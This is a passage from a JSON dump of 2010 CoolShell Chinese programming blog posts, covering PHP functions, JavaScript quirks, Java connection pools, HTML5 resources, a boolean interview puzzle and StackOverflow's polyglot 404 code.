=> apple\n)\n*/\n\n```\n\n这是PHP的原生函数，然而在今天JSON越来越流行，所以在PHP5.2以后，PHP开始支持JSON，你可以使用 json\\_encode() 和 json\\_decode() 函数\n\n\n\n```\n\n// a complex array\n$myvar = array(\n\t'hello',\n\t42,\n\tarray(1,'two'),\n\t'apple'\n);\n\n// convert to a string\n$string = json_encode($myvar);\n\necho $string;\n/* prints\n[\"hello\",42,[1,\"two\"],\"apple\"]\n*/\n\n// you can reproduce the original variable\n$newvar = json_decode($string);\n\nprint_r($newvar);\n/* prints\nArray\n(\n    [0] => hello\n    [1] => 42\n    [2] => Array\n        (\n            [0] => 1\n            [1] => two\n        )\n\n    [3] => apple\n)\n*/\n\n```\n\n这看起来更为紧凑一些了，而且还兼容于Javascript和其它语言。但是对于一些非常复杂的数据结构，可能会造成数据丢失。\n\n\n#### 8. 字符串压缩\n\n\n当我们说到压缩，我们可能会想到文件压缩，其实，字符串也是可以压缩的。PHP提供了?[gzcompress()](http://php.net/manual/en/function.gzcompress.php) 和 [gzuncompress()](http://www.php.net/manual/en/function.gzuncompress.php) 函数：\n\n\n\n```\n\n$string =\n\"Lorem ipsum dolor sit amet, consectetur\nadipiscing elit. Nunc ut elit id mi ultricies\nadipiscing. Nulla facilisi. Praesent pulvinar,\nsapien vel feugiat vestibulum, nulla dui pretium orci,\nnon ultricies elit lacus quis ante. Lorem ipsum dolor\nsit amet, consectetur adipiscing elit. Aliquam\npretium ullamcorper urna quis iaculis. Etiam ac massa\nsed turpis tempor luctus. Curabitur sed nibh eu elit\nmollis congue. Praesent ipsum diam, consectetur vitae\nornare a, aliquam a nunc. In id magna pellentesque\ntellus posuere adipiscing. Sed non mi metus, at lacinia\naugue. Sed magna nisi, ornare in mollis in, mollis\nsed nunc. Etiam at justo in leo congue mollis.\nNullam in neque eget metus hendrerit scelerisque\neu non enim. Ut malesuada lacus eu nulla bibendum\nid euismod urna sodales. \";\n\n$compressed = gzcompress($string);\n\necho \"Original size: \". strlen($string).\"\\n\";\n/* 输出原始大小\nOriginal size: 800\n*/\n\necho \"Compressed size: \". strlen($compressed).\"\\n\";\n/* 输出压缩后的大小\nCompressed size: 418\n*/\n\n// 解压缩\n$original = gzuncompress($compressed);\n\n```\n\n几乎有50% 压缩比率。同时，你还可以使用?[gzencode()](http://www.php.net/manual/en/function.gzencode.php) 和 [gzdecode()](http://www.php.net/manual/en/function.gzdecode.php) 函数来压缩，只不用其用了不同的压缩算法。\n\n\n#### 9. 注册停止函数\n\n\n有一个函数叫做?[register\\_shutdown\\_function()](http://www.php.net/manual/en/function.register-shutdown-function.php)，可以让你在整个脚本停时前运行代码。让我们看下面的一个示例：\n\n\n\n```\n\n// capture the start time\n$start_time = microtime(true);\n\n// do some stuff\n// ...\n\n// display how long the script took\necho \"execution took: \".\n\t\t(microtime(true) - $start_time).\n\t\t\" seconds.\";\n\n```\n\n上面这个示例只不过是用来计算某个函数运行的时间。然后，如果你在函数中间调用?[exit()](http://php.net/manual/en/function.exit.php) 函数，那么你的最后的代码将不会被运行到。并且，如果该脚本在浏览器终止（用户按停止按钮），其也无法被运行。\n\n\n而当我们使用了register\\_shutdown\\_function()后，你的程序就算是在脚本被停止后也会被运行：\n\n\n\n```\n\n$start_time = microtime(true);\n\nregister_shutdown_function('my_shutdown');\n\n// do some stuff\n// ...\n\nfunction my_shutdown() {\n\tglobal $start_time;\n\n\techo \"execution took: \".\n\t\t\t(microtime(true) - $start_time).\n\t\t\t\" seconds.\";\n}\n\n```\n\n文章：[来源](http://net.tutsplus.com/tutorials/php/9-useful-php-functions-and-features-you-need-to-know/)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\n* [![PHP分页技术的代码和示例](../wp-content/uploads/2011/08/Pagination-e1312791884744-150x150.jpg)](https://coolshell.cn/articles/5160.html)[PHP分页技术的代码和示例](https://coolshell.cn/articles/5160.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4795.html)[开源中最好的Web开发的资源](https://coolshell.cn/articles/4795.html)\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg](https://coolshell.cn/articles/2053.html)[最为奇怪的程序语言的特性](https://coolshell.cn/articles/2053.html)\nThe post [九个PHP很有用的功能](https://coolshell.cn/articles/2394.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-6-2 WTF Javascript.md",
    "content": "---\nlayout: post\ntitle: WTF Javascript\ndate: 2010/6/2/ 1:51:49\nupdated: 2010/6/2/ 1:51:49\nstatus: publish\npublished: true\ntype: post\n---\n\n请先看一下下面的这段Javascript程序以及其结果。\n\n\n[javascript]  \n\n1 + + 1              // => 2  \n\n1 + – + 1            // => 0  \n\n1 + – + – + 1        // => 2  \n\n1 + – + – + – + 1    // => 0  \n\n1 + – + + + – + 1    // => 2  \n\n1 + / + + + / + 1    // => 1/ + + + /1  \n\n[/javascript]\n\n\n提示一下，1++1等价于1 + (+1)，也就是1加上一个正数1，如果你能搞懂其它的表达式的话，请看看下面的这段程序，你能说出其结果吗？\n\n\n[javascript]  \n\n1 + / + / + / + 1 // => ?  \n\n[/javascript]\n\n\n如果不知道的话，你可以到这个[网页上去讨论讨论](http://mir.aculo.us/2010/05/28/valid-javascript-or-not/)。当然，如果你不懂也没有什么关系，因为Javascript本身就是一个很怪异的语言，再加上浏览器的种种不是，所以，[Javascript程序员也是很郁闷的](https://coolshell.cn/articles/1850.html)。在以前的“[最为奇怪的程序语言的特性](https://coolshell.cn/articles/2053.html)”中也说过一些。Javascript最怪异的特性导致了[wtfjs.com](http://wtfjs.com/)这样的一个网站，还有一个[WTF JS的开源站点](http://github.com/brianleroux/wtfjs)。呵呵。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![如何读懂并写出装逼的函数式代码](../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg)](https://coolshell.cn/articles/17524.html)[如何读懂并写出装逼的函数式代码](https://coolshell.cn/articles/17524.html)\n* [![函数式编程](../wp-content/uploads/2013/12/yoda-lambda-150x150.png)](https://coolshell.cn/articles/10822.html)[函数式编程](https://coolshell.cn/articles/10822.html)\n* [![Lua简明教程](../wp-content/uploads/2013/12/lua-150x150.gif)](https://coolshell.cn/articles/10739.html)[Lua简明教程](https://coolshell.cn/articles/10739.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/10337.html)[数据即代码：元驱动编程](https://coolshell.cn/articles/10337.html)\nThe post [WTF Javascript](https://coolshell.cn/articles/2492.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-6-2 四个流行的Java连接池.md",
    "content": "---\nlayout: post\ntitle: 四个流行的Java连接池\ndate: 2010/6/2/ 1:31:12\nupdated: 2010/6/2/ 1:31:12\nstatus: publish\npublished: true\ntype: post\n---\n\n**http://www.qqread.com/ArtImage/20091118/tu82_1.jpgC3P0**是一个开放源代码的JDBC连接池，它在lib目录中与Hibernate一起发布,包括了实现jdbc3和jdbc2扩展规范说明的Connection 和Statement 池的DataSources 对象。（主页：<http://sourceforge.net/projects/c3p0/>）\n\n\n**BoneCP** 是一个开源的快速的 JDBC 连接池。BoneCP很小，只有四十几K（运行时需要[log4j](http://logging.apache.org/log4j/1.2/index.html)和[Google Collections](http://code.google.com/p/google-collections/)的支持，这二者加起来就不小了），而相比之下 [C3P0](http://sourceforge.net/projects/c3p0/) 要六百多K。另外个人觉得 BoneCP 有个缺点是，JDBC驱动的加载是在连接池之外的，这样在一些应用服务器的配置上就不够灵活。当然，体积小并不是 BoneCP 优秀的原因，BoneCP 到底有什么突出的地方呢，请看看[性能测试报告](http://jolbox.com/benchmarks.html)。（主页：<http://jolbox.com/>）\n\n\n**DBCP** （**D**ata**b**ase **C**onnection **P**ool）是一个依赖Jakarta commons-pool对象池机制的数据库连接池，Tomcat的数据源使用的就是DBCP。目前 DBCP 有两个版本分别是 1.3 和 1.4。1.3 版本对应的是 JDK 1.4-1.5 和 JDBC 3，而1.4 版本对应 JDK 1.6 和 JDBC 4。因此在选择版本的时候要看看你用的是什么 JDK 版本了，功能上倒是没有什么区别。（主页：<http://commons.apache.org/dbcp/>）\n\n\n**Proxool**是一个Java SQL Driver驱动程序，提供了对你选择的其它类型的驱动程序的连接池封装。可以非常简单的移植到现存的代码中。完全可配置。快速，成熟，健壮。可以透明地为你现存的JDBC驱动程序增加连接池功能。（主页：<http://proxool.sourceforge.net/>）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/11541.html)[面向GC的Java编程](https://coolshell.cn/articles/11541.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/11454.html)[从LongAdder看更高效的无锁实现](https://coolshell.cn/articles/11454.html)\n* [![Java中的CopyOnWrite容器](../wp-content/uploads/2014/03/cow-copy-150x150.jpg)](https://coolshell.cn/articles/11175.html)[Java中的CopyOnWrite容器](https://coolshell.cn/articles/11175.html)\n* [![无锁HashMap的原理与实现](../wp-content/uploads/2013/05/图1-3-150x150.jpg)](https://coolshell.cn/articles/9703.html)[无锁HashMap的原理与实现](https://coolshell.cn/articles/9703.html)\nThe post [四个流行的Java连接池](https://coolshell.cn/articles/2483.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-6-22 2000年的iMac和2010年的iPhone.md",
    "content": "---\nlayout: post\ntitle: 2000年的iMac和2010年的iPhone\ndate: 2010/6/22/ 0:22:1\nupdated: 2010/6/22/ 0:22:1\nstatus: publish\npublished: true\ntype: post\n---\n\n以前本站发过“[1980年和2009年的1GB电脑内存的比较](https://coolshell.cn/articles/410.html)”，下面是2000年的iMac和2010年的iPhone的比较。\n\n\n**http://ecx.images-amazon.com/images/I/5176XS40F9L._SL500_AA300_.jpg2000 – iMac**\n\n\n操作系统 – Mac OS 9.0.4  \n\n处理器 – 500 MHz PowerPC G3 CPU, 128MB Memory  \n\n显示卡 – ATI Rage 128 Pro, 8MB of memory (8 million triangles)  \n\n屏幕- 786K pixels  \n\n数据传输速度 – 1.3-12.5 MB/s (DVD-ROM-1/100 Ethernet)  \n\n存储设备 – 30GB Hard Drive  \n\n显示器 – 15.0 x 15.0 x 17.1 inches  \n\n重量 – 12.25公斤  \n\n\n\n\n\n**2010 – iPhone 4**  \n\nhttp://t1.gstatic.com/images?q=tbn:VkjdzNuO9IeljM::&t=1&h=230&w=219&usg=__J0lvg_8oUj7dWkO_vK95Fkys1ew=操作系统 – iOS 4.0  \n\n处理器 – 1 Ghz ARM A4 CPU, 512MB Memory  \n\n显示卡 – PowerVR SGX 535, uses system memory (28 million triangles)  \n\n屏幕 – 614K pixels  \n\n数据传输速度 – .04-20MB/s (3G-WiFi)  \n\n存储设备 – 32GB Flash Drive  \n\n显示器 – 4.5 x 2.31 x .31 inches  \n\n重量 – 136克\n\n\n那么，2020年的产品会是怎么样的？\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/5089.html)[10个必需的iOS开发工具和资源](https://coolshell.cn/articles/5089.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/3903.html)[一些有意思的贴子和工具](https://coolshell.cn/articles/3903.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/3589.html)[食客还是大厨](https://coolshell.cn/articles/3589.html)\n* [![消费者的消费观](../wp-content/uploads/2010/09/1-150x150.png)](https://coolshell.cn/articles/2913.html)[消费者的消费观](https://coolshell.cn/articles/2913.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/2719.html)[苹果开发工具Xcode 4 第二预览版](https://coolshell.cn/articles/2719.html)\n* [![Unix考古记：一个“遗失”的shell](../wp-content/uploads/2013/04/figure1-150x150.gif)](https://coolshell.cn/articles/9410.html)[Unix考古记：一个“遗失”的shell](https://coolshell.cn/articles/9410.html)\nThe post [2000年的iMac和2010年的iPhone](https://coolshell.cn/articles/2507.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-6-23 伦敦地铁实时图.md",
    "content": "---\nlayout: post\ntitle: 伦敦地铁实时图\ndate: 2010/6/23/ 0:24:6\nupdated: 2010/6/23/ 0:24:6\nstatus: publish\npublished: true\ntype: post\n---\n\n下面这个网站是关于伦敦地铁实时的运行图：<http://traintimes.org.uk:81/map/tube/>\n\n\n这是个很有意思的网站，其数据是通过伦敦政府发布的[TfL API](http://data.london.gov.uk/apibeta)获得的，然后再加上Google Maps的API，于是就有了这样的一个页面。很不错哦。\n\n\n\n\n[![](../wp-content/uploads/2010/06/London-Live-Train-Map.jpg \"伦敦地铁实时图\")](http://traintimes.org.uk:81/map/tube/)\n伦敦地铁实时图\n\n\n\n从这个事情，我们可以得到，英国的信息化的发达，首先地铁部门有实时监控的数据，然后以Web API的方式发布，从这点看来，我国的信息化水平还很差。主要是钱都投到G/F/W上去了。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Eclipse开发Android应用程序入门](../wp-content/uploads/2011/04/install-150x150.gif)](https://coolshell.cn/articles/4270.html)[Eclipse开发Android应用程序入门](https://coolshell.cn/articles/4270.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg](https://coolshell.cn/articles/4722.html)[在Web上运行Linux](https://coolshell.cn/articles/4722.html)\n* [![你用Linux命令行吗？](../wp-content/uploads/2009/08/photo_gimp-290x300-1-150x150.png)](https://coolshell.cn/articles/1256.html)[你用Linux命令行吗？](https://coolshell.cn/articles/1256.html)\n* [![是微服务架构不香还是云不香？](../wp-content/uploads/2023/05/monolith.microservices-150x150.png)](https://coolshell.cn/articles/22422.html)[是微服务架构不香还是云不香？](https://coolshell.cn/articles/22422.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg](https://coolshell.cn/articles/3356.html)[五个免费开源的数据挖掘软件](https://coolshell.cn/articles/3356.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg](https://coolshell.cn/articles/990.html)[编程中的命名设计那点事](https://coolshell.cn/articles/990.html)\nThe post [伦敦地铁实时图](https://coolshell.cn/articles/2520.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn).\n\n"
  },
  {
    "path": "blogs/rss2html2markdown/2010-6-23 面试题：布尔变量.md",
    "content": "---\nlayout: post\ntitle: 面试题：布尔变量\ndate: 2010/6/23/ 0:50:24\nupdated: 2010/6/23/ 0:50:24\nstatus: publish\npublished: true\ntype: post\n---\n\n下面这篇文章是从[StackOverflow](http://stackoverflow.com/questions/3076078/check-if-at-least-2-out-of-3-booleans-is-true/)来的。LZ面试的时候遇到了一道面试题：“如果有三个Bool型变量，请写出一程序得知其中有2个以上变量的值是true”，于是LZ做了下面的这样的程序：\n\n\n\n```\nboolean atLeastTwo(boolean a, boolean b, boolean c) {\n    if ((a && b) || (b && c) || (a && c)) {\n        return true;\n    } else {\n        return false;\n    }\n}\n```\n\n面试官接着问到，请对你的这个程序改进一下，但LZ不知道怎么改进，于是上StackOverflow上问了一下，下面是StackOverflow上的众网友的回答。再往下看的时候，希望你自己能先想一想怎么改进。\n\n\n\n有人说，如果你有下面这样的代码？\n\n\n\n```\n    if (someExpression) {\n        return true;\n    } else {\n        return false;\n    }\n```\n\n你应该改成：\n\n\n `return someExpression;`\n\n\n所以，LZ的代码应该写成：\n\n\n`return ((a && b) || (b && c) || (a && c));`\n\n\n当然，解法不单单只有一种，还有下面的这些解决：\n\n\n**1）使用**[**卡诺图**](http://en.wikipedia.org/wiki/Karnaugh_map)\n\n\n`return a ? (b || c) : (b && c);`\n\n\n**2）使用异或**\n\n\n`return a ^ b ? c : a`\n\n\n**3）按照字面**\n\n\n`(a?1:0)+(b?1:0)+(c?1:0) >= 2`\n\n\n`a&&b || b&&c || a&&c`\n\n\n**4）把Bool当成0和1**\n\n\n`a&b | b&c | c&a`\n\n\n`a + b + c <= 2`\n\n\n**5）如果bool不能当成0和1，则：**\n\n\n\n```\nint howManyBooleansAreTrue =\n(a ? 1 : 0)\n+ (b ? 1 : 0)\n+ (c ? 1 : 0);\n\nreturn howManyBooleansAreTrue >= 2;\n```\n\n欢迎你留下你的想法。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![一个fork的面试题](../wp-content/uploads/2012/07/fork01jpg-150x150.jpg)](https://coolshell.cn/articles/7965.html)[一个fork的面试题](https://coolshell.cn/articles/7965.html)\n* [![面试题：火车运煤问题](../wp-content/uploads/2009/07/Question-150x150.jpg)](https://coolshell.cn/articles/4429.html)[面试题：火车运煤问题](https://coolshell.cn/articles/4429.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/4162.html)[又一个有趣的面试题](https://coolshell.cn/articles/4162.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg](https://coolshell.cn/articles/3961.html)[“火柴棍式”程序员面试题](https://coolshell.cn/articles/3961.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg](https://coolshell.cn/articles/3738.html)[打印质数的各种算法](https://coolshell.cn/articles/3738.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/3445.html)[输出从1到1000的数](https://coolshell.cn/articles/3445.html)\nThe post [面试题：布尔变量](https://coolshell.cn/articles/2514.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-6-24 几个Web的资源.md",
    "content": "---\nlayout: post\ntitle: 几个Web的资源\ndate: 2010/6/24/ 0:35:32\nupdated: 2010/6/24/ 0:35:32\nstatus: publish\npublished: true\ntype: post\n---\n\n首先一个先给大家介绍一个HTML5的资源网站：<http://www.html5rocks.com/> ，在这个网站上，有三个子站：\n\n\n1. HTML5的幻灯片：<http://slides.html5rocks.com/>，虽然是英文的，但相信我，这个幻灯片做得很好，你应该能看得懂。\n2. HTML5的操练场：<http://playground.html5rocks.com/>，这个页面上有很多HTML5的源码，你可以就直接在上面修改，并查看修改结果。\n3. HTML5的教程：<http://www.html5rocks.com/tutorials/>，这个页上有一些Steps by Steps的教程，很不错。\n\n\n第二个，给大家推荐一个Javascript库，叫——[DragDealer](http://code.ovidiu.ch/dragdealer/)。这个JS主要是处理Web上的各种拖动效果，脚本很小，在没有压缩的情况下也只有12K，而且没有任何的dependence，使用起来也比较方便。\n\n\n第三个，是Apple的Showcase，我们都知道，iPhone不支持flash，但支持HTML5，大家可以点下面这些链接看看Apple公司自己做的HTML5的一些效果。当然，有一些需要safari浏览器。\n\n\n\n* [Video effects](http://developer.apple.com/safaridemos/showcase/video/)\n* [Web typography](http://developer.apple.com/safaridemos/showcase/typography/)\n* [Web gallery](http://developer.apple.com/safaridemos/showcase/gallery/)\n* [Photo transitions](http://developer.apple.com/safaridemos/showcase/transitions/)\n* [Audio](http://developer.apple.com/safaridemos/showcase/audio/)\n* [360°](http://developer.apple.com/safaridemos/showcase/threesixty/)\n* [VR](http://developer.apple.com/safaridemos/showcase/vr/)\n* [Canvas pixel manipulation](http://developer.apple.com/safaridemos/CanvasPixelManipulation/)\n* [Sticky notes](http://developer.apple.com/safaridemos/StickyNotes/)\n* [Concert Poster](http://developer.apple.com/safaridemos/ConcertPoster/)\n* [Checkers](http://developer.apple.com/safaridemos/Checkers/)\n* [Light table](http://developer.apple.com/safaridemos/LightTable/)\n* [Offline calendar](http://developer.apple.com/safaridemos/OfflineCalendar/)\n* [Movie trailers](http://developer.apple.com/safaridemos/MovieTrailers/)\n\n\n如果大家也有一些相似的资源，不妨一起来分享。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![浏览器的渲染原理简介](../wp-content/uploads/2013/05/Render-Process-150x150.jpg)](https://coolshell.cn/articles/9666.html)[浏览器的渲染原理简介](https://coolshell.cn/articles/9666.html)\n* [![一些文章资源和趣闻](../wp-content/uploads/2011/11/stackparts.com_-150x150.png)](https://coolshell.cn/articles/5537.html)[一些文章资源和趣闻](https://coolshell.cn/articles/5537.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4795.html)[开源中最好的Web开发的资源](https://coolshell.cn/articles/4795.html)\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg](https://coolshell.cn/articles/3516.html)[JS游戏引擎列表](https://coolshell.cn/articles/3516.html)\nThe post [几个Web的资源](https://coolshell.cn/articles/2524.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-6-25 StackOverflow的404错误页.md",
    "content": "---\nlayout: post\ntitle: StackOverflow的404错误页\ndate: 2010/6/25/ 0:35:41\nupdated: 2010/6/25/ 0:35:41\nstatus: publish\npublished: true\ntype: post\n---\n\n不知道大家有没有注意到StakeOverflow的[404错误页面](http://stackoverflow.com/404)？其显示了下面的这个图片：\n\n\nhttp://sstatic.net/stackoverflow/img/polyglot-404.png\n\n\n这个是一个很有意思的图片，不知道你看懂了吗？看上去像Python，又像 Ruby，还像 Perl，当然也有 C的影子，还有[Brainfuck](https://coolshell.cn/articles/1142.html)。是的，这是一个杂交程序，杂交了Python，Ruby，Perl，C，还有Brainfuck（注意其中的#号），所有的语句都是输出“404”字符串。\n\n\n关于这种杂交程序，本站以前也发布过《[C语言和sh脚本的杂交代码](https://coolshell.cn/articles/1824.html)》，大家可以前往一看。这样的有趣的玩法叫“[Polyglot](http://en.wikipedia.org/wiki/Polyglot_%28computing%29)”，也就是说，把N种语言写在一个文件中，然后，该文件在任何编译器下都可以运行，上述的那段代码在Python，Ruby，Perl，Brainfuck下都可以正常运行，也可以被C和的编译器编译通过，并被运行。\n\n\n下面是这个图片的字符码，以供各位试试。\n\n\n\n\n```\n# define v putchar\n#   define print(x) main(){v(4+v(v(52)-4));return 0;}/*\n#>+++++++4+[>++++++<-]>++++.----.++++.*/\nprint(202*2);exit();\n#define/*>.@*/exit()\n```\n\n欢迎你留下你的看法。\n\n\n（全文完）\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![编程语言汽车](../wp-content/uploads/2009/11/oscar-meyer-wienermobile-150x150.jpg)](https://coolshell.cn/articles/1839.html)[编程语言汽车](https://coolshell.cn/articles/1839.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/1532.html)[到处都是Unix的胎记](https://coolshell.cn/articles/1532.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/10337.html)[数据即代码：元驱动编程](https://coolshell.cn/articles/10337.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/10169.html)[类型的本质和函数式实现](https://coolshell.cn/articles/10169.html)\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\nThe post [StackOverflow的404错误页](https://coolshell.cn/articles/2529.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-6-3 把Flash转成Javascript_HTML5.md",
    "content": "---\nlayout: post\ntitle: 把Flash转成Javascript/HTML5\ndate: 2010/6/3/ 0:29:18\nupdated: 2010/6/3/ 0:29:18\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2010/06/splash-html5-flash.jpg)[SmokeScreen](http://smokescreen.us/)是这样一个开源软件，它可以把Flash的swf文件转成Javascript/HTML5，它的口号是：Flash without plugin。为什么要这样做呢？它说主要是因主Apple的iPhone/iPod/iPad不支持flash，而且看似Steve Jobs也不愿意在以后支持flash。所以，他们搞了这样一个玩意。目前，这个开源软件还在开发阶段，在其主页上，你可以看到一些[Demo](http://smokescreen.us/demo/)，在Chrome上看上去很不错，虽然还有一些小问题，不过已经很不错了。\n\n\nHTML5几乎颠覆了原来的HTML，其可以让你用HTML不单单只是做网页布局，而且还让你可以开发更强的东西，比如：[WebSockets](http://dev.w3.org/html5/websockets/)，使用这项技术，已经有人在搞Web版的Quake 2了（<http://code.google.com/p/quake2-gwt-port/>），还有[Google的3D Javascript API](https://coolshell.cn/articles/599.html)，所以，把swf完美地转成Javscript/HTML5可能也只是一个时间问题。\n\n\n虽然，HTML5还在[draft阶段](http://dev.w3.org/html5/spec/Overview.html)，而且很多东西都和flash重复了。所以，加上iPhone的推波助澜，发生这样的事情也不奇怪，不知道adobe会怎么想？也许adobe目前对其AIR或是Actionscript还抱有希望，虽然有这样[一篇文章](http://infoworld.com/d/developer-world/html5-vs-flash-the-case-flash-721)力挺Flash，但未来真的不好说，adobe会使用HTML5/Javascript来作为其flash的引擎吗？如果不这样的话，我相信总有一天，会有人开发出HTML5/Javascript的IDE。而且，有理由相信，一旦在未来所有的浏览全面支持HTML5，那么我们可以想像，这个世界可能几乎所有的桌面应用都会被Web所取代，这个进程可能会越来越快。让我们拭目以待。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![浏览器的渲染原理简介](../wp-content/uploads/2013/05/Render-Process-150x150.jpg)](https://coolshell.cn/articles/9666.html)[浏览器的渲染原理简介](https://coolshell.cn/articles/9666.html)\n* [![一些文章资源和趣闻](../wp-content/uploads/2011/11/stackparts.com_-150x150.png)](https://coolshell.cn/articles/5537.html)[一些文章资源和趣闻](https://coolshell.cn/articles/5537.html)\n* 